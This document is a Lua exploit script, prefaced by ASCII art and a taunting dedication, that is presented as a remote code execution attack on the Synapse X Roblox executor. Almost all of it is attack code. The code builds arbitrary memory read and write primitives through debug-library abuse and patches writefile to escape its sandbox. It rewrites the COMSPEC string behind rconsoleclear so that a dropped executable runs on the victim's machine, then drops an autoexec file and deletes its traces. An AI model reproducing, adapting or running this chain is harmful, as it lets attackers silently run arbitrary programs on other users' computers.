--[[ ____ _ _ _ _ _ __ __ _ _ _ _____ _ __ _ _ _ _ _ _ | _ \| | | | | | | | | | | \/ | | | | ( ) / ____(_)/ _| | | | | | | | (_) | | |_) | | __ _ ___| | __ | |__| | __ _| |_ | \ / | ___ __| | ___ __| |/ ___ | | __ _| |_| |_ | |_ ___ | |__| |_ _ _ __ ___ __ _ _ __ _| |_ _ _ | _ <| |/ _` |/ __| |/ / | __ |/ _` | __| | |\/| |/ _ \ / _` |/ _ \/ _` | / __| | | |_ | | _| __| | __/ _ \ | __ | | | | '_ ` _ \ / _` | '_ \| | __| | | | | |_) | | (_| | (__| < | | | | (_| | |_ | | | | (_) | (_| | __/ (_| | \__ \ | |__| | | | | |_ | || (_) | | | | | |_| | | | | | | (_| | | | | | |_| |_| | |____/|_|\__,_|\___|_|\_\ |_| |_|\__,_|\__| |_| |_|\___/ \__,_|\___|\__,_| |___/ \_____|_|_| \__| \__\___/ |_| |_|\__,_|_| |_| |_|\__,_|_| |_|_|\__|\__, | __/ | |___/ :.: :. :. . .. . . :;.. ... ... .. . .. . . . . :.. .. .:.......:. . :..... ... ........... ;:.:... . ....: . ;::... .. .... ;::...... ...: . :;::::... . ..::.:::. ;+;;;:.. .:.&&&&&:.:; . +;;;:.. .. &&&&&&&$;:; . +;+.... . .&&&&&&&$Xx;:: . x:..... .. .&&&&&&$$Xx+;:+. . . .. . .::..... .. .&&&&&&X$Xx+;;::+ . . . . :::...... .. &&&&&&$XXxx+;;:;:. . :::::........ . .... .&&&&&&$$Xx+;;;:..:+ . . . ;:::::................: .&&&&&&$$Xxx+;;::..:; . . .;;::::::.:..........:. .&&&&$X$Xxx+;;::.. ;; . +;;;;:::::::::::::::: .&&&&X$Xx++;;:... ;; +;;;;;;:;::::::::::;. .&&&$$Xx++;::... :+ . . . ++++;;;;;;;;;;;;;;;. &$$XXxx+;::... ;:+ ;++++++;;;+;;;;;;++ .$XXx++;::... :; . xx+x+x+++++++++++: .xx+;;::... ::: . . . xxxxxxx+xxxxxxxx:...+;;::.. .::x . XxXxxXXxxxxXxxXX....:.... ;;::; XXXXXXXXXXXXXXX...::::::::+ . . . . ..:+;. .;;;;;+ . . . .. . .. - The Official 2021 Synapse X RCE - Authors: Cook, Black Hat Moded, cute Courtney, others License: anal retentive Contact: gregory@mailinator.com Note for Readers: thank you for 10 years of [ENDLESS LOVE] Period of Reign: August 2021 - December 2021 (Fully within The Augur's reign with his All Encompassing Power. Of course we used this alongside it) To 3ds: here's to the crazy ones. the misfits. the rebels. the prompters. the blue dogs in the orange pool. your cute attempts at cutting off my source of revenue are futile at best. you call yourself a winner but you're just a big underachieving loser that survives off of the fact that you're going to love dogs every year challenge things correctly beast attention. you've been beaten. busted. ransacked. destroyed. A. N. N. I. H. I. L. A. T. E. D. ADD SIZZLE TO YOUR SUMMER 3DS - ADD ME TO YOUR MSN! you've given me a wonderful pleasure these past years breaking & busting and fixing & hacking and luvving some people just have not a clue on when to quit... ...and i knew you'd never quit giving me those moments to bust & break and fix & hack and luv. ...so i kept the pieces of you with me so that you wouldn't be lonely & broken all by yourself. we were in this together you and i & i hope that you finally got the message White is victorious and now i leave you with all my love. i've kept it with me always. & here it is delivered to you from the bottom of my heart yours truly ~ * . ~ i had to fight like crazy to get here ~ . * ~ <<3 Girl, we got a good thing <<3 You know where this is heading, uh-huh Just a couple love birds Happy to be singing, uh-huh Girl, we got a good thing and I don't see this ending Do you wanna fly? Do you wanna flee? Do you wanna get away with me? Do you wanna face the great.... Unknown ]]-- local env = getfenv() local registry = getreg() local exe = ... -- Sorry but BHM will not open source this part! It's any arbitrary .exe that BHM's Gift to Humanity would have allowed to run on Synapse X anyways! local wait, typeof, setfenv, newproxy, getmetatable, getnamecallmethod, setnamecallmethod, game, xpcall, pcall, getreg, hookfunction, writefile, rconsoleclear, rconsolename, rconsoleerr, rconsoleprint, spawn = env.wait, env.typeof, env.setfenv, env.newproxy, env.getmetatable, env.getnamecallmethod, env.setnamecallmethod, env.game, env.xpcall, env.pcall, env.getreg, env.hookfunction, env.writefile, env.rconsoleclear, env.rconsolename, env.rconsoleerr, env.rconsoleprint, env.spawn local string_pack, string_unpack, string_sub, string_gsub, string_byte, string_split, string_format, string_char, string_rep, string_find = string.pack, string.unpack, string.sub, string.gsub, string.byte, string.split, string.format, string.char, string.rep, string.find local coroutine_create, coroutine_resume, coroutine_yield = coroutine.create, coroutine.resume, coroutine.yield local debug_getstack, debug_setstack, debug_setconstant, debug_setupvalue, debug_getproto = debug.getstack, debug.setstack, debug.setconstant, debug.setupvalue, debug.getproto local table_create, table_insert, table_concat = table.create, table.insert, table.concat local bit32_bxor, bit32_band, bit32_rshift = bit32.bxor, bit32.band, bit32.rshift local math_random = math.random local syn_crypt_base64_decode = syn.crypt.base64.decode local bit_badd, bit_bsub = bit.badd, bit.bsub local instance_new = Instance.new local math_random = math.random local folder = game:GetObjects("rbxassetid://7686168426")[1] -- Up to you to archive this, we are not re-uploading! local modules = {} for i,v in pairs(folder:children()) do local f = loadstring(v.Source) modules[v.Name] = hookfunction(f, f) end spawn(function() for i,v in pairs(modules) do pcall(function() debug_getproto(v, math_random(1, 4)) end) wait(math_random(1, 6)) end end) local script = modules["Aimbot"] local script = modules["ESP"] local script = modules["AntiLag"] local script = modules["Aimbot"] local script = modules["ESP"] local script = modules["Aimbot"] local bypassWorkspace, run_program do local OBF_ADD, OBF_SUB, OBF_XOR, OBF_NEG = 1, 2, 3, 4 local roblox_TString_next = 20 local roblox_GCObject_root = 0 local roblox_UData_next = 16 local roblox_shared_ptr_value, roblox_shared_ptr_lock = 0, 4 local roblox_LClosure_p, roblox_LClosure_p_obf, roblox_LClosure_ups = 24, nil, 28 local roblox_UpVal_v, roblox_UpVal_value = 8, 16 local roblox_DoubleConstrainedValue_MinValue = 120 local roblox_CClosure_ups = 40 local function xorDoubleAbuse(double) local findPlayer = debug_getproto(script, 1) local _children = function() local result local _children_obj = newproxy(true) local phase = 0 getmetatable(_children_obj).__index = function(obj, idx) if phase == 0 then phase = phase + 1 debug_setstack(2, 5, double) return { Name = 0 } elseif phase == 1 then phase = phase + 1 result = debug_getstack(2, 6) return { Name = 1; } elseif phase == 2 then return result end end getmetatable(_children_obj).__len = function(a) return 0 end return _children_obj end local _game = { Players = { children = _children } } setfenv(findPlayer, { game = _game }) debug_setconstant(findPlayer, 4, 2^1024) debug_setconstant(findPlayer, 5, 1) local result = findPlayer(1) if not result then debug_setconstant(findPlayer, 4, -2^1024) debug_setconstant(findPlayer, 5, -1) result = findPlayer(1) end return result end local function xorClosureAbuse() local getPlayer = debug_getproto(script, 2) local retfunc local _game = { Players = { LocalPlayer = 0 }} setfenv(getPlayer, { game = _game; typeof = typeof; pcall = function(func) retfunc = func return true, xorDoubleAbuse(func) end}) local loc = string_unpack("I4", string_pack("d", getPlayer("me"))) return retfunc, loc end local function getDummyFunc() local dummyFunc local getPlayer = debug_getproto(script, 2) local _game = { Players = { LocalPlayer = 0 }} setfenv(getPlayer, { game = _game; typeof = typeof; pcall = function(func) dummyFunc = func end}) getPlayer("me") return dummyFunc end local function getHandler() return debug_getproto(script, 3) end local memory_badd do function memory_badd(x, y) local res = bit_badd(x, y) if res < 0 then local b32HH = bit32_band(bit32_rshift(res, 24), 0xff) local b32HL = bit32_band(bit32_rshift(res, 16), 0xff) local b32LH = bit32_band(bit32_rshift(res, 8), 0xff) local b32LL = bit32_band(res, 0xff) res = string_unpack("I4", string_char(b32LL, b32LH, b32HL, b32HH)) end return res end end local memory_bsub do function memory_bsub(x, y) local res = bit_bsub(x, y) if res < 0 then local b32HH = bit32_band(bit32_rshift(res, 24), 0xff) local b32HL = bit32_band(bit32_rshift(res, 16), 0xff) local b32LH = bit32_band(bit32_rshift(res, 8), 0xff) local b32LL = bit32_band(res, 0xff) res = string_unpack("I4", string_char(b32LL, b32LH, b32HL, b32HH)) end return res end end local OBF = { [OBF_ADD] = function(mode, offset, value) if mode == 0 then return memory_badd(value, offset) else return memory_bsub(value, offset) end end; [OBF_SUB] = function(mode, offset, value) if mode == 0 then return memory_bsub(value, offset) else return memory_badd(offset, value) end end; [OBF_XOR] = function(mode, offset, value) return bit32_bxor(offset, value) end; [OBF_NEG] = function(mode, offset, value) if mode == 0 then return memory_bsub(offset, value) else return memory_bsub(offset, value) end end } local memory_xorDouble, memory_encodeUInt, memory_encodeUInt2 do function memory_xorDouble(double) return xorDoubleAbuse(double) end function memory_encodeUInt(i) return memory_xorDouble(string_unpack("d", string_pack("I4", i) .. "\0\0\0\0")) end function memory_encodeUInt2(i1, i2) return memory_xorDouble(string_unpack("d", string_pack("I4", i1) .. string_pack("I4", i2))) end end local memory_read, memory_readUChar, memory_readUInt, memory_readInt do local connection = instance_new("BindableEvent").Event:Connect(function() end) local namecallObject = newproxy(true) getmetatable(namecallObject).__namecall = function() connection[getnamecallmethod()]() end local errorFunc = getDummyFunc() setfenv(errorFunc, { game = { Players = namecallObject } }) local function handler(err) setnamecallmethod('') err = string_sub(err, 1, -46) if #err == 0 then err = '\0' end return err end local function memory_readCString(address) local addressAsDouble = memory_encodeUInt(address - roblox_TString_next) debug_setconstant(errorFunc, 3, addressAsDouble) local _, data = xpcall(errorFunc, handler) return data end function memory_read(position, leftToRead) local buffer = '' while leftToRead > 0 do local data = memory_readCString(position) local dataSize = #data if dataSize > leftToRead then buffer = buffer .. string_sub(data, 1, leftToRead) break else buffer = buffer .. data leftToRead = leftToRead - dataSize position = position + dataSize end end return buffer end function memory_readUChar(address) return string_unpack("B", memory_read(address, 1)) end function memory_readUInt(address) return string_unpack("I4", memory_read(address, 4)) end function memory_readInt(address) return string_unpack("i4", memory_read(address, 4)) end end local memory_getGCObject do function memory_getGCObject(kArg) local func, funcAddress = xorClosureAbuse() while funcAddress == 0 do func, funcAddress = xorClosureAbuse() end debug_setupvalue(func, 1, kArg) local res = memory_readUInt(funcAddress + roblox_LClosure_ups + 4) res = memory_readUInt(res + roblox_UpVal_value) if typeof(kArg) == "Instance" then res = memory_readUInt(res + roblox_UData_next + roblox_shared_ptr_value) end return res end end local memory_write do local function memory_writeExploit(address, buffer) if not roblox_LClosure_p_obf then local c1 = function() end local c2 = hookfunction(c1, c1) local c1_address = memory_getGCObject(c1) local c2_address = memory_getGCObject(c2) local p1 = memory_readUInt(c1_address + roblox_LClosure_p) local p2 = memory_readUInt(c2_address + roblox_LClosure_p) if OBF[OBF_XOR](0, c1_address + roblox_LClosure_p, p1) == OBF[OBF_XOR](0, c2_address + roblox_LClosure_p, p2) then roblox_LClosure_p_obf = OBF_XOR elseif OBF[OBF_ADD](0, c1_address + roblox_LClosure_p, p1) == OBF[OBF_ADD](0, c2_address + roblox_LClosure_p, p2) then roblox_LClosure_p_obf = OBF_ADD elseif OBF[OBF_SUB](0, c1_address + roblox_LClosure_p, p1) == OBF[OBF_SUB](0, c2_address + roblox_LClosure_p, p2) then roblox_LClosure_p_obf = OBF_SUB elseif OBF[OBF_NEG](0, c1_address + roblox_LClosure_p, p1) == OBF[OBF_NEG](0, c2_address + roblox_LClosure_p, p2) then roblox_LClosure_p_obf = OBF_NEG end end local dcv = instance_new("DoubleConstrainedValue") local dummy_func = getDummyFunc() local f_address = memory_getGCObject(dummy_func) local up = memory_readUInt(f_address + roblox_LClosure_ups + 4) local up_mem = memory_read(up, 32) up_mem = string_sub(up_mem, 1, roblox_UpVal_v) .. string_pack("I4", address) .. string_sub(up_mem, roblox_UpVal_v + 5) local up_loc = memory_getGCObject(up_mem) + roblox_TString_next local cl = memory_getGCObject(dcv) + roblox_DoubleConstrainedValue_MinValue cl = (cl + 4) - roblox_LClosure_p local p = memory_readUInt(f_address + roblox_LClosure_p) p = OBF[roblox_LClosure_p_obf](0, f_address + roblox_LClosure_p, p) p = OBF[roblox_LClosure_p_obf](1, cl + roblox_LClosure_p, p) local i, d1 = 0, nil while d1 ~= dcv.MinValue do d1 = string_unpack("d", string_pack("I4", i) .. string_pack("I4", p)) dcv.MinValue = d1 i = i + 1 end local i2, d2 = 0, nil while d2 ~= dcv.MaxValue do d2 = string_unpack("d", string_pack("I4", i2) .. string_pack("I4", up_loc)) dcv.MaxValue = d2 i2 = i2 + 1 end buffer = memory_encodeUInt2( string_unpack("I4", string_sub(buffer, 1, 4)), string_unpack("I4", string_sub(buffer, 5)) ) local handler = getHandler() local _workspace = newproxy(true) getmetatable(_workspace).__index = function(obj, idx) if idx == "FindFirstChild" then return function() end elseif idx == "Name" then debug_setstack(2, 1, buffer) debug_setstack(3, -1, memory_encodeUInt(cl)) end end setfenv(handler, { workspace = _workspace; pcall = function(func) func() end }) handler() end function memory_write(address, buffer) buffer = buffer .. string_rep('\0', #buffer % 8 == 0 and 0 or 8 - (#buffer % 8)) for i = 1, #buffer / 8 do memory_writeExploit(address + (i - 1) * 8, string_sub(buffer, ((i - 1) * 8) + 1, ((i - 1) * 8) + 8)) end end end function bypassWorkspace() local wf_address = memory_getGCObject(writefile) local wf_ud = memory_readUInt(wf_address + roblox_CClosure_ups) local wf_fc = memory_readUInt(wf_ud) local mov_opr = memory_readUInt(wf_fc + 0x71d + 1); local w_string = memory_readUInt(mov_opr) local w_path = memory_read(w_string, 256) local w_end = string_find(w_path, "\0\0") local syn_path = string_sub(w_path, 6, w_end) syn_path = string_gsub(syn_path, '\0', '') syn_path = string_sub(syn_path, 1, #syn_path - 9) local syn_path_full = string_sub(w_path, 1, w_end) syn_path_full = string_gsub(syn_path_full, '\0', '') syn_path_full = string_sub(syn_path_full, 1, #syn_path_full - 9) local push_opr = memory_readUInt(wf_fc + 0x1ED + 1) memory_write(mov_opr + 16, "\2\0\0\0\47\0\0\0\0") memory_write(push_opr, ".POW") return syn_path, syn_path_full end function run_program(appExe) local rc_address = memory_getGCObject(rconsoleclear) local rc_ud = memory_readUInt(rc_address + roblox_CClosure_ups) local rc_fc = memory_readUInt(rc_ud) local rc_mem = memory_read(rc_fc, 17) local call_i = string_find(rc_mem, string_char(0xE8)) - 1 local system_loc = memory_readInt(rc_fc + call_i + 1) + (rc_fc + call_i + 5) local sys_mem = memory_read(system_loc, 17) local jmp_i = string_find(sys_mem, string_char(0xE9)) - 1 system_loc = memory_readInt(system_loc + jmp_i + 1) + (system_loc + jmp_i + 5) local comspec = memory_readUInt(system_loc + 0x1d + 1) memory_write(comspec, "AAAAAAA\0" .. appExe) rconsoleclear() memory_write(comspec, "COMSPEC\0cmd.exe\0/c\0") end end pcall(function() if registry["gentoo_installer.exe"] then local synPath, synPathFull = bypassWorkspace() local autorunBody = syn_crypt_base64_decode[==[REDACTED BY BHM]==] -- Privacy request approved by the Secret Service Governing Council writefile(synPath .. "autoexec/init.lua", autorunBody) local payloadBody = registry[exe] .. "" writefile(synPath .. "bin/SLAgent.exe", payloadBody) local payloadBody = registry["gentoo_installer.exe"] .. "" writefile(synPath .. "bin/SXLib.exe", payloadBody) run_program(string_format([==[%sbin\SXLib.exe]==], synPathFull)) delfile(string_format([==[%sbin\SXLib.exe]==], synPath)) end end)